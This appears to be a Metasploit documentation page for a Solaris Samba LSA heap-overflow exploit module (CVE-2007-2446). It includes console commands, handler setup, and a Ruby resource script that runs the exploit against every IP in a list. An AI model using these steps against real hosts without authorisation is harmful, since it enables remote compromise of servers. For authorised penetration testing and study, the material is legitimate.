Source code: modules/exploits/solaris/samba/lsa_transnames_heap.rb
Disclosure date: 2007-05-14
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Solaris
Target service / protocol: microsoft-ds, netbios-ssn
Target network port(s): 139, 445
List of CVEs: CVE-2007-2446
This module triggers a heap overflow in the LSA RPC service of the Samba daemon. This module uses the TALLOC chunk overwrite method (credit Ramon and Adriano), which only works with Samba versions 3.0.21-3.0.24. Additionally, this module will not work when the Samba "log level" parameter is higher than "2".
Module Ranking and Traits

- average: The exploit is generally unreliable or difficult to exploit. More information about ranking can be found here.
Basic Usage
Using lsa_transnames_heap against a single host
Normally, you can use exploit/solaris/samba/lsa_transnames_heap this way:
msf > use exploit/solaris/samba/lsa_transnames_heap
msf exploit(lsa_transnames_heap) > show targets
... a list of targets ...
msf exploit(lsa_transnames_heap) > set TARGET target-id
msf exploit(lsa_transnames_heap) > show options
... show and set options ...
msf exploit(lsa_transnames_heap) > exploit
Using lsa_transnames_heap against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your lsa_transnames_heap will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/solaris/samba/lsa_transnames_heap")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
